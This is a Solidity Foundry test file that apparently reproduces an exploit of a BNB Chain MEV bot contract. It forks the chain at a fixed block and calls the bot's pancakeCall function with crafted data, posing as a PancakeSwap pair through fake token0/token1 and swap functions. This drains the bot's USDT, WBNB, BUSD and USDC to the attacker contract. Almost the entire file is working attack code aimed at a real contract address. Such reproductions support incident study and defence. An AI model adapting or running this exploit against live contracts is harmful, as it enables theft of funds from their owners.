BNB48MEVBot_exp.sol

pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface MEVBot {
    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
}

contract ContractTest is Test {
    address public _token0;
    address public _token1;
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
    MEVBot Bot = MEVBot(0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 21_297_409);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker BUSD balance before exploit", BUSD.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker USDC balance before exploit", USDC.balanceOf(address(this)), 18);

        uint256 USDTAmount = USDT.balanceOf(address(Bot));
        uint256 WBNBAmount = WBNB.balanceOf(address(Bot));
        uint256 BUSDAmount = BUSD.balanceOf(address(Bot));
        uint256 USDCAmount = USDC.balanceOf(address(Bot));

        (_token0, _token1) = (address(USDT), address(USDT));
        Bot.pancakeCall(
            address(this), USDTAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
        );
        (_token0, _token1) = (address(WBNB), address(WBNB));
        Bot.pancakeCall(
            address(this), WBNBAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
        );
        (_token0, _token1) = (address(BUSD), address(BUSD));
        Bot.pancakeCall(
            address(this), BUSDAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
        );
        (_token0, _token1) = (address(USDC), address(USDC));
        Bot.pancakeCall(
            address(this), USDCAmount, 0, abi.encodePacked(bytes12(0), bytes20(address(this)), bytes32(0), bytes32(0))
        );

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 18);
    }

    function token0() public view returns (address) {
        return _token0;
    }

    function token1() public view returns (address) {
        return _token1;
    }

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) public {}
}